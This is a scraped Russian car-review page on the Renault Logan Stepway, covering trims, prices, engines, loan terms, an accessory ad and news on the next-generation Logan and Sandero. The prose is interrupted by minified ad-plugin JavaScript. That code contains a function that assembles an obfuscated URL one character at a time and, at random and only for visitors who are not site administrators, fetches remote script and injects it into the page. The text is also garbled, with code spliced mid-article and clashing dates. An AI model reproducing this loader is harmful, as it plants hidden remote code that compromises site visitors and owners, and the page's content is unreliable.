Содержание
Drive city – все и сразу
Эту версия укомплектовали полностью. Кросс седан Drive City обойдется дороже на 70 000 р предыдущей Life City. Внешне отличается хромированными накладками на ручках дверей. В салоне, рулевое колесо с логотипом Stepway декорированное кожей. Вместо кондиционера система климат-контроль.
Доступен полный пакет по безопасности с боковыми подушками. Комфорт улучшает система дистанционного управления Renault Start и навигационная мультимедийная 4.0. Задние датчики парковки устанавливают за 6 990 р. Обогрев лобового стекла тоже придется докупить.
Кросс седан предназначен для городских жителей, которые любят прокатиться на природу. Что касается езды по городу, автомобиль с вариатором лучший выбор. С такой трансмиссией экономится топливо, но разъезжать по горным серпантинам проблематично. Четырехступенчатый автомат также не отличаются динамикой, разница в цене с вариатором составляет 35 000 руб. Для бюджетного авто, это существенная сумма.
| Комплектация | Двигатель трансмиссия | Цена, руб |
| Drive City | 1,6 л, 113 л.с., CVT X-TRONIC | 871 990 |
У Logan Stepway с механической коробкой, тяга двигателя контролируется водителем. Поэтому можно легко задавать оптимальную динамику. При этом, дорожный просвет 195 мм, в отличие от паркетника с CVT X-Tronic. Что касается подвески, конструкция проверена временем, доказала свою надежность и эффективность. На Рено Логан с приподнятым клиренсом, гоняя по разбитому асфальту на скорости 100 км/ч, чувствуешь себя комфортно.
Renault logan stepway
Указана максимальная рекомендованная розничная цена на автомобиль Renault LOGAN STEPWAY в комплектации Life (Лайф) 1,6 л, 82 л. с., МКП5 2021 года производства. Количество автомобилей у дилеров ограничено. Не оферта. Действует с 01.12.2021 по 07.12.2021. Подробности – на newlogan.ru.
2 Программа «Поехали!»
Кредитор — АО «РН Банк», лицензия ЦБ РФ № 170 от 16.12.2021. Валюта — рубль РФ. Указанный ежемесячный платеж рассчитан, исходя из рекомендованной розничной цены 894000 рублей на новые автомобили (далее — «ТС») Renault LOGAN STEPWAY в комплектации Life (Лайф), 1.6 MKП5, 82 л.с. Первоначальный взнос — 556100 руб. Срок кредита 4г. Процентная ставка — 11,9% годовых. Сумма кредита — 387805 руб. Возврат кредита — ежемесячные (аннуитетные) платежи. Последний платеж — 30% стоимости ТС. Оплата страховых премий за счет кредитных средств Банка: по полису КАСКО, по программе Renault Страхование сроком на 1 год в любых страховых компаниях, соответствующих требованиям Банка. Обеспечение по кредиту — залог приобретаемого ТС. Не оферта (ст. 437 ГК РФ). Действует с 01.12.2021 по 07.12.2021 на новые ТС Renault LOGAN STEPWAY 2021 г.в. Подробности – newlogan.ru.
3 Классический кредит
Маркетинговая ставка не является процентной ставкой по кредитному договору и означает выраженный в процентах размер расходов физического лица на приобретение автомобиля (далее — «ТС») за счет кредита при условии снижения стоимости ТС. Разница между маркетинговой ставкой и процентной ставкой компенсируется посредством соразмерного снижения дилером цены на ТС.
Кредитор — АО «РН Банк» (лицензия ЦБ РФ № 170 от 16.12.2021, далее — «Банк»). Валюта кредита — рубль РФ. Первоначальный взнос — от 50% цены приобретаемого ТС; сумма кредита — от 100 000 руб.; срок кредита — 36 мес.; процентная ставка — 11,9% годовых; обеспечение по кредиту — залог приобретаемого ТС; возврат кредита — ежемесячные (аннуитетные) платежи; оплата страховых премий за счет кредитных средств Банка: по полису страхования жизни и здоровья заемщика и полису КАСКО по программе Renault Страхование сроком на 1 год в любых страховых компаниях, соответствующих требованиям Банка. Не оферта (ст. 437 ГК РФ). Действует с 01.12.2021 по 07.12.2021 на новые ТС Renault LOGAN STEPWAY 2021 г.в. Подробности — на newlogan.ru.
Renault logan stepway 2020-2021 — комплектации, цены и технические характеристики
«:’
‘:»»,document.createElement(«div»),p=ff(window),b=ff(«body»),m=void 0===flatPM_getCookie(«flat_modal_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» o.ID «_mb»),i=»scroll.flatmodal» o.ID,g=»mouseleave.flatmodal» o.ID » blur.flatmodal» o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&»true»==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘
‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie&&m&&(flatPM_setCookie(«flat_modal_» o.ID «_mb»,!1),ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l()),void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l())},ff(«body > *»).eq(0).before(‘
«),w=document.querySelector(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_modal-content’),-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘
‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_cross’,function(){flatPM_setCookie(«flat_out_» o.ID «_mb»,!1)})),void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=o.how.outgoing.indent?’ style=»bottom:’ o.how.outgoing.indent ‘px»‘:»»,c=»true»==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer?’
Закрыть через ‘ o.how.outgoing.timer_count «
«:’
‘:»»,p=ff(window),h=»scroll.out» o.ID,g=»mouseleave.outgoing» o.ID » blur.outgoing» o.ID,m=void 0===flatPM_getCookie(«flat_out_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» o.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(o.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘
‘ c «
«);var v,w=document.querySelector(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’);-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=»‘ o.ID ‘»]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,a=t.data(«top»);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(«top»);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘
‘),flat_body.on(«click»,».flat__4_out .flat__4_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».flat__4_modal .flat__4_cross»,function(){ff(this).closest(«.flat__4_modal»).removeClass(«flat__4_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie(«flat_r_mb»,»zen.yandex»),flat_userVars.referer=»zen.yandex»);var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»
«],thead:[1,»
«],tbody:[1,»
«],colgroup:[2,»
«],col:[3,»
«],tr:[2,»
«],td:[3,»
«],th:[3,»
«],_default:[0,»»,»»]};return function(e,t){var a,r,l,n=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=n.appendChild(t.createElement(«div»)),r=(d.exec(e)||[«»,»»])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(o,»<$1>») r[2],l=r[0];l—;)a=a.lastChild;for(n.removeChild(n.firstChild);a.firstChild;)n.appendChild(a.firstChild)}else n.appendChild(t.createTextNode(e));return n}}();function flatPM_ping(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,200);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «m» «e» «h» «a» «n» «o» «i» «d» «.» «p» «r» «o» «/» «p» «i» «ng» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var n=jQuery,t=e.selector,o=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,r=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,l=’
‘,i=e.once;n(t).each(function(){var e=n(this);e.wrap(‘
‘);var t=e.closest(«.flat__4_video»);-1!==l.indexOf(«go» «oglesyndication»)?t.append(l):flatPM_setHTML(t[0],l),e.find(«.flat__4_video_flex»).one(«click»,function(){n(this).addClass(«show»)})}),n(«body»).on(«click»,».flat__4_video_item_hover»,function(){var e=n(this),t=e.closest(«.flat__4_video_flex»);t.addClass(«show»);var a=t.find(«.flat__4_timer span»),r=parseInt(o),l=setInterval(function(){a.text(—r),r<=0&&(clearInterval(l),»true»==d?a.parent().replaceWith(‘
‘):t.remove())},1e3);e.remove()}).on(«click»,».flat__4_video_flex .flat__4_cross»,function(){n(this).closest(«.flat__4_video_flex»).remove(),»true»==i&&n(«.flat__4_video_flex»).remove()})}
Базовая комплектация life
Бюджетный Renault Logan Stepway оснастили проверенным временем и хорошо известным сервисам 8-клапанным мотором 1,6 л (82 л. с.). Двигатель надежен и прост в работе. К топливу неприхотлив. Работает с пятиступенчатой коробкой передач. Из минусов — повышенная шумность, вибрация. На других комплектациях устанавливается 16-клапанный агрегат.
Дополнительно, Life оборудовали динамичным двигателем — 1,6 л (113 л. с.). Мотор с механической пятиступенчатой трансмиссией разгоняет автомобиль до 100 км/ч за 11 секунд. Третий агрегат — 102-х сильный мотор в сочетании с четырехступенчатой автоматической коробкой передач.
Начальная версия отличается внешним видом — ручки дверей, зеркала и бампера, окрашены в цвет кузова, решетка радиатора с хромированными вставками. В салоне седана новое рулевое колесо, с регулировкой по высоте, но без декора кожей и логотипа.
Раньше многие автолюбители ездили без кондиционеров с открытыми окнами и не переживали по этому поводу. В наши времена, с забитыми пробками улицами и аномальными жаркими периодами, стоит вопрос не о комфорте, а о безопасности. К тому же, на вторичном рынке пользуются спросом автомобили с кондиционером и климат-контролем.
В Лайф, это оборудование базово не поставляют. Производители предлагают установить кондиционер за 29 900 руб. После заказа кондиционера становится доступна опция обогрева лобового стекла, которая обойдется водителям за 7 990 руб. Кстати, дооборудовать обычный Logan, в начальной комплектации, не удастся.
Одной из наиболее полезных фишек, для российского потребителя, считается дистанционная система запуска двигателя Renault Start. Возможность сесть зимой в теплый салон существенно повышает качество комфорта. Пригодится система запуска в жаркие дни. Кондиционер, за несколько минут до прихода водителя, охладит салон.
В начальной сборке Renault Logan Stepway производители предусмотрели подушки безопасности для переднего пассажира и водителя, в других комплектациях дополнительно установят боковые подушки. Пакет «Безопасность» с электронными помощниками, докупить не получится.
| Комплектация | Двигатель трансмиссия | Цена, руб |
| Stepway Life | 1,6 л, 82 л.с., MKП5 | 675 990 |
| 1,6 л, 113 л.с., MKП5 | 735 990 | |
| 1,6 л, 102 л.с., АKП4 | 765 990 |
Версия Life Logan Stepway, в базовом оборудовании, на 50 000 дороже обычного Логан, при этом укомплектован намного лучше. Разработчик предлагает докупить к кроссоверу недостающее оборудование, а обычный Logan лишен такой возможности. Создается впечатление, повышенный клиренс производители дарят.
Отзыв реального владельца:
Внедорожный logan с вариатором
Модель Logan на российском рынке оказалась прорывной для компании Renault. Автомобиль полюбили за не убиваемую подвеску, надежность. В 2021 году концерн представил внедорожный седан Logan Stepway с вариатором. Из названия следует, модель разработали для городских условий.
Теперь на российском рынке большой выбор моделей Логан на любой бюджет. Если нужен хороший, надежный транспорт за небольшие деньги, стоит рассмотреть Logan Stepway с механикой. Для желающих выделиться на дороге, корпорация предлагает паркетник с обвесом по периметру кузова и вариатором.
Отличается, от приподнятого Logan без вариатора, окрашенными в черный цвет зеркалами, надписями City на стойках, черной накладкой внизу автомобиля. Не хватает полного привода, поэтому машина не может полноправно называться кроссовером. Зато, присутствует CVT X-Tronic, который работает с 113-сильным агрегатом.
Разработчики установили электронное противоугонное устройство. Двигатель адаптировали к запуску в холодном климате и защитили картером. В багажнике полноразмерное запасное колесо. Систему «Эра-глонасс» не предусмотрели в базовом оборудовании Stepway, но есть возможность купить за 11 990 руб.
Перед стартом продаж, в России широко обсуждалось мнение, что Renault решил создать конкурента Vesta Cross. Факты вещь упрямая, два года назад Logan Stepway, в кузове универсал, покатился по Европе. В России решили продавать седан. Поэтому, скорее российский автогигант подсмотрел идею у французов.
Внешний вид
В ходе модернизации новая модель получила видоизменённую оптику и новую конфигурацию радиаторной облицовки. Наиболее стильно и выразительно смотрится обновлённый Степвей образца 2021 года на фото в переднем ракурсе. В наличии:
- динамичный пологий наклон и декоративные продольные профили капота;
- яркая фирменная символика и крупноячеистая сетка фигурной решетки радиатора;
- угловатые многоэлементные блоки ксеноновой оптики с С-образными ходовыми огнями.
В комплектации передка также привлекает внимание трапециевидная форма и поперечные ламели пластиковой решетки вентиляционного воздухозаборника, комплект боковых воздушных диффузоров с противотуманной интегрированной подсветкой и защитная панель массивного внедорожного обвеса.
В профильной проекции новая модель кросс-седана Рено Логан Степвей 2021 отличается от предшественника наличием внедорожного пластикового обвеса и высокой посадкой корпуса. В зоне внимания также:
- рейлинги наклонного к корме контура купольной крыши;
- чёрный глянец узкого пластикового обрамления и стоек крупноразмерных окон;
- оснащённые светодиодными указателями поворотов стильные зеркала;
- малоформатные дверные ручки и высокие вырезы колёсных арок.
В оформление выпуклых боковин кросс-седана удачно вписывается пятилучевой рисунок двухцветных 16-дюймовых колёсных дисков. Положительное зрительное восприятие новинки формирует динамичный контур корпуса, большие дверные проёмы, а также конфигурация внешних внедорожных аксессуаров.
Более современно оформлена задняя часть: нижний сегмент, в конструктив которого входят укомплектованный выходными диффузорами широкий бампер и защитная фигурная панель обвеса. В качестве элементов внешнего кузовного декора используется яркая хромировка логотипа и шильдиков, а также детали ступенчатого рельефа.
Двигатели и трансмиссия renault logan 2021
На Логан второго поколения устанавливаются проверенные четырехцилиндровые моторы K-Type. Такие же устанавливались на машины первого поколения, но для новой модели они получили новые настройки и теперь соответствуют экологическим нормам Евро-5. В версиях Логан Фаза 2 моторная гамма не изменилась.
Все моторы имеют объем 1.6 литра, распределенный впрыск топлива и, в зависимости от версии, сочетаются с 5-ступенчатой механикой или 4-ступенчатым автоматом японского производства.
Базовый мотор K7M 800 с 8 клапанами развивает мощность 82 л.с. при 5000 об/минуту. Максимальный крутящий момент — 134 Нм доступен на 2800 “оборотах”. Этот мотор сочетается только с 5-ступенчатой механической КПП.
Второй мотор K4M 606/696 с 16 клапанами имеет мощность 102 л.с. (5750 об/минуту) и крутящий момент 145 Нм (4000 об/минуту). Именно с этим мотором можно получить машину с “автоматом”.
Самая мощная версия мотора развивает 113 л.с. при 5500 оборотах в минуту и 152 Нм крутящего момента (3750 об/минуту). Такой мотор сочетается с 5-ступенчатой “механикой”.
Динамические характеристики моторов с различными трансмиссиями и расход топлива.
| Версия | Разгон 0-100 км/час, сек | Макс. скорость, км/час | Расход, в городе, л/100км | Расход, на трассе, л/100км |
|---|---|---|---|---|
| 1.6 5MT (82 л.с.) | 13.9 | 163 | 9.4 | 5.7 |
| 1.6 4AT (102 л.с.) | 11.7 | 171 | 10.9 | 6.7 |
| 1.6 5MT (113 л.с.) | 10.7 | 177 | 8.5 | 5.6 |
5MT — механическая КПП (5 ступеней); 4AT — автоматическая КПП (4 ступеней).
Все моторы настроены на потребление бензина Аи-95. Емкость топливного бака — 50 литров.
Двигатель и трансмиссия
| Тип двигателя | бензин | бензин |
| Объем, л | 1,6 | 1,6 |
| Мощность, л.с. | 102 | 113 |
| Крутящий момент, Нм | 145 | 152 |
| Тип коробки передач | автомат | вариатор |
| Число передач | 4 | — |
| Привод | передний | передний |
| Разгон 0-100 км/ч, с | 11,7 | 12,1 |
| Макс скорость, км/ч | 171 | 170 |
| Расход топлива, л | ||
| — город | 10,9 | 8,6 |
| — трасса | 6,7 | 5,6 |
| — смешанный | 8,4 | 6,7 |
| Тип топлива | АИ-95 | АИ-95 |
Технические характеристики Рено Логан Степвей 2021
Дополнительную техническую информацию уточняйте у официальных дилеров.
,
Ford Fiesta
,
Hyundai Solaris
,
Kia Rio
,
Lada Vesta
,
Lada Vesta Cross
,
Nissan Almera
,
Ravon Gentra
,
Renault Logan
,
Renault Logan Stepway
,
Skoda Rapid
,
Volkswagen Polo
Дефлекторы окон/стекол (ветровики) для рено логан степвей — купить на локотник.ру
Цена за весь комплект (4 шт): 1580 рублей. В наличии!
Материал: качественное немецкое литьевое оргстекло Plexiglass.
Средняя ширина: 75 мм.
Особенности:
Наши ветровики изготовлены индивидуально для автомобиля Рено Логан 2 Степвей, под размеры оконных арок именно этого автомобиля. Подходят для Renault Logan 2 Stepway любых годов выпуска.
Дефлекторы на окна позволят вам приоткрыть окна вашего автомобиля в дождь и снег — при этом защитят салон вашего автомобиля от попадания влаги и осадков. Более того, установленные дефлекторы препятствуют загрязнению стекол — работают как козырек.
Они выполняют не только защитную, но и декоративную функции: качественное, темное, полупрозрачно-тонированное литьевое оргстекло украсит экстерьер вашего автомобиля.
Дверные дефлекторы крайне просто устанавливаются с помощью качественного двухстороннего скотча, который уже нанесён на обратную сторону изделия — ничего сверлить не нужно, а установка займет не более 10-15 минут. В случае демонтажа — они не оставляют следов.
Материал ветровиков — литьевое ПММА (оргстекло) — легко переносит перепады температуры, не теряя при этом прочности и круглый год сохраняет отличную устойчивость к механическим повреждениям.
Подходит для годов выпуска:
2021, 2021, 2020, 2021.
Гарантии:
Оплата при получении. 14 дней на возврат денежных средств по любой причине. Год гарантии на изделие.
Доставка:
Почта России с оплатой при получении или со скидкой по предоплате.
Транспортная компания СДЭК.
Характеристики:
— Качественный двухсторонний скотч 3М — надежное крепление с повышенной адгезией.
— Литьевое оргстекло отлично переносит перепады температуры и обладает отличной устойчивостью к механическим повреждениям.
— Защитят от осадков и не помешают обзору.
— 4 штуки в комплекте.
Комплектации и цены
Цены и комплектации на Renault Logan 2021 в новом кузове объявят после официального дебюта в России. Цены на актуальное поколение:
| Комплектации | Мотор | КПП | Расход топлива | Привод | Разгон до 100 км/ч |
|---|---|---|---|---|---|
Access | |||||
| 596 000 рублей | бензин 1,6 л. (82 л.с) | MT | 9,4/5,7/7,1 | Передний | 13,9 с |
Life | |||||
| 665 000 рублей | бензин 1,6 л. (82 л.с) | MT | 9,4/5,7/7,1 | Передний | 13,9 с |
| 725 000 рублей | бензин 1,6 л. (113 л.с) | MT | 8,5/5,6/6,6 | Передний | 10,7 с |
| 755 000 рублей | бензин 1,6 л. (102 л.с) | AT | 10,9/6,7/8,4 | Передний | 11,7 с |
Drive | |||||
| 740 000 рублей | бензин 1,6 л. (82 л.с) | MT | 9,4/5,7/7,1 | Передний | 13,9 с |
| 780 000 рублей | бензин 1,6 л. (113 л.с) | MT | 8,5/5,6/6,6 | Передний | 10,7 с |
| 810 000 рублей | бензин 1,6 л. (102 л.с) | AT | 10,9/6,7/8,4 | Передний | 11,7 с |
Style | |||||
| 791 000 рублей | бензин 1,6 л. (82 л.с) | MT | 9,4/5,7/7,1 | Передний | 13,9 с |
| 831 000 рублей | бензин 1,6 л. (113 л.с) | MT | 8,5/5,6/6,6 | Передний | 10,7 с |
| 861 000 рублей | бензин 1,6 л. (102 л.с) | AT | 10,9/6,7/8,4 | Передний | 11,7 с |
Кузов renault logan 2021
Модель второго поколения построена на глобальной платформе B0. Помимо Логана на этой платформе также построены Сандеро, Дастер и российский Каптур.
Второй Логан ушел от угловатого дизайна и заметно округлился. Больше вы не увидите бюджетную штамповку с прямыми углами и бамперы из неокрашенного пластика. Передние фары и задние фонари тоже подверглись новому дизайнерскому стилю и округлились. В целом дизайн осовременили и сделали динамичным — во многом благодаря рельефные выштамповки на боках кузова.
Новая модель стала немного длиннее, но при этом слегка потеряла в высоте и ширине. Длина кузова 4359 мм ( 58 мм), ширина 1733 мм (- 7 мм), высота — 1517 мм (- 17 мм). Колесная база — 2634 мм. Снаряженная масса автомобиля, в зависимости от версии, — 1106 кг — 1125 кг.
С обновлением 2022 года (Фаза 2) машина получила C-образные светодиодные ходовый огни в передних фарах, новый узор радиаторной решетки с хромированной нижней кромкой и новый передний бампер. В комплектации Drive и выше предусмотрены противотуманные фары с хромированной окантовкой.
Зеркала заднего вида обеспечивают неплохую обзорность. В более богатых версиях в их корпусе установлены повторители указателя поворота. Также, начиная с версии Life, в качестве опции зеркала могут получить электропривод и обогрев.
Багажник объемом 510 литров имеет подсветку и вмещает полноразмерную запаску.
Для кузова предлагается 8 вариантов расцветки, в том числе новый коричневый “металлик”. За окраску металлизированным цветом придется доплатить 14 990 рублей.
Новая lada granta
Прототип некой новинки Lada на платформе CMF-B представили тогда еще президенту Николя Мору совсем недавно — в начале марта. Судя по всему, это была «Гранта» следующего поколения, чей дебют планировался на 2023 год. Параллельно в различных источниках появлялись шпионские снимки этой машины, проходивших тестовую сварку на «АвтоВАЗе».
Учитывая, что план Renaulution подразумевал сразу две новинки Lada в 2023 году, можно предположить две гипотезы. Первая — это две «Гранты» в кузовах седан и хэтчбек (последний, возможно, с кроссоверным имиджем). Вторая, менее реалистичная, — это одна Granta и рестайлинговый XRay.
👉 Названы модели Renault, которые будут собирать на АвтоВАЗе
Увидим ли мы теперь новую «Гранту»? Ответ на этот вопрос заключается в том, как далеко тольяттинские инженеры успели продвинуться в разработке, и насколько сильно проект зависел от импортных партнеров. Теоретически, новый кузов можно адаптировать к освоенной платформе Global Access/B0 — такое мы уже видели на примере Nissan Almera или Renault Kaptur.
Но если и строить такой гибрид, то логичнее это делать на «тележке» Vesta: она вполне современная, почти целиком отечественная, а отказываться от нее во имя унификации с Dacia больше нет никакого смысла. Однако здесь надо держать в уме вот какое обстоятельство: любой подобный реинжиниринг — это деньги и время.
Обзор новой модели
Первые официальные фото нового кузова Рено Логан 2021 года
Рестайлинговый Renault Logan второй генерации продается в России с 2022 года, но, являясь одной из самых популярных бюджетных моделей в Европе, он пока не в состоянии конкурировать с отечественной техникой того же класса.
Возможно, причиной проигрыша в конкурентной борьбе с продукцией АвтоВАЗа – Грантами и Вестами – выступает ставшая уже постоянной задержка в обновлении автомобилей, реализуемых на территории России.
Текущая версия «опоздала» на 2 года, ведь в Европе рестайлинг «второго» Логана стал продаваться еще в 2022-ом. Извлекут ли руководители франко-румынского проекта из этого какие-либо уроки, ведь мировой дебют Рено Логан 2021 модельного года третьего поколения, по предварительным данным, состоится уже в конце текущего года?
Официальный дилер renault в тольятти
Официальный дилер Рено предлагает автомобили с истинно французским утонченным вкусом. Внешне машины модельного ряда Рено выглядят покладистыми и спокойными. Но под капотом скрывается сила. Отдельные модели с широким капотом выглядят элегантно и спортивно. Другие смотрятся современно. Третьи – вызывающе, динамично.
Автомобили Рено стойко переносят морозы, что актуально в суровом российском климате. Преодолевают грязь в межсезонье, снег и лед. При этом внутри салона ехать комфортно в любую погоду. На заднем сидении легко поместятся три пассажира. Если вы едете сзади в одиночестве, смело вытягивайте ноги – места хватит.
Рено в Тольятти покупают в автосалонах официального дилера Renault. Это гарантирует отменное техническое состояние автомобиля и предоставление исчерпывающей информации об особенностях машины, комплектации и прочем. Цены на Рено доступны для представителей среднего класса. Вид автомобиля и стоимость сделали модель популярной.
Предпочтительно покупать новый автомобиль. Но если такая возможность отсутствует, ознакомьтесь с предложением подержанных автомобилей. Надежный Рено остается в хорошем техническом состоянии после нескольких лет эксплуатации. Цена и доступность запасных частей – дополнительное преимущество. Ремонт не вызовет проблем, если, конечно, он потребуется.
Посетите официального дилера Рено в Тольятти и лично убедитесь в качестве автомобилей. Решение о покупке будет принято за считанные минуты. В автосалоне ждет воплощение элегантности, комфорта и надежности.
Полностью новые logan, sandero и sandero stepway: подробности
Засвеченное еще в начале месяца семейство Logan/Sandero третьего поколения теперь полностью рассекречено. Правда, пока речь идет лишь об автомобилях под маркой Dacia, которые предназначены для европейского рынка. Впрочем, вектор развития глобальной гаммы показан наглядно: седан Logan, хэтчбек Sandero и его кросс-версия Stepway шагнули в новую для себя дизайнерскую эпоху.
Машины распрощались с кургузыми пропорциями и в третьем поколении выглядят намного симпатичнее предшественников. Штатные светодиодные фары (заявлено, что они на 37% дальнобойнее прежних галогенок), ветвистые ходовые огни, рельефные боковины, покатая крыша, дверные ручки под естественный хват. Антенна переехала на заднюю часть крыши.
Длина Логана выросла незначительно (4396 мм против 4358 мм), равно как и колесная база (2649 мм вместо 2635 мм). Зато в ширину прибавка более чем заметная: 1848 мм вместо 1733 мм! Вдобавок седан стал чуть ниже (1501 мм против 1517 мм). На выбор предложены колеса диаметром 15 или 16 дюймов.
Хэтчбек Dacia Sandero по-прежнему имеет более короткую колесную базу (2604 мм против 2589 мм у прежней модели), а прибавка в длину у него даже скромнее, чем у Логана: 4088 мм вместо 4069 мм у старой пятидверки. Глядя на фотографии, кажется, что дорожный просвет стал меньше, но в компании уверяют, что это оптический обман из-за новых пропорций. Новый Logan имеет клиренс 161 мм, а у Sandero под брюхом 162 мм. С полной нагрузкой просвет уменьшается до 133—135 мм.
Кросс-хэтчбек Dacia Sandero Stepway визуально отличается от базового хэтчбека не только бамперами и решеткой радиатора, но еще и более рельефным капотом. Рейлинги на крыше можно легко трансформировать в багажные поперечины, которые выдерживают до 80 кг. Дорожный просвет — 201 мм у пустой машины и 174 мм у полностью загруженной.
Багажник Логана увеличен с 510 до 528 литров, погрузочная высота стала меньше на 19 мм, а еще появилась возможность заказать органайзер, который делит отсек на четыре секции. У Sandero багажник вмещает 310 литров, плюс 18 литров в подполье. Дорогие версии хэтчбека обзавелись электрическим замком пятой двери.
Прощай, платформа B0 и все связанные с ней ограничения. Новые Logan/Sandero построены на более современной модульной «тележке» CMF (она также лежит в основе хэтчбеков Renault Clio и Nissan Micra), которая сулит меньше вибраций и больше комфорта, хотя архитектура у нее та же: McPherson спереди, полузависимая подвеска сзади. Вместо гидроусилителя руля теперь электрический узел: усилие на баранке, которым «славятся» нынешние Logan и Sandero, снизилось на 36%. Впрочем, на задней оси по-прежнему барабанные тормоза.
А еще новая платформа позволила внедрить современные системы безопасности. Европейские машины под маркой Dacia уже «в базе» имеют шесть подушек, ремни с преднатяжителями (спереди и сзади), системы автоматического торможения (работает на скорости до 170 км/ч) и контроля слепых зон.
Разработчики подтянули эргономику: руль теперь регулируется не только по высоте, но и по вылету (в диапазоне 25 мм), рычаг коробки передач стал короче, центральная консоль повернута к водителю. Расстояние между рядами и у Логана, и у Sandero выросло на 42 мм, а для более просторного седана теперь за доплату предложены складные столики для задних пассажиров, причем их вылет можно регулировать в диапазоне 70 мм.
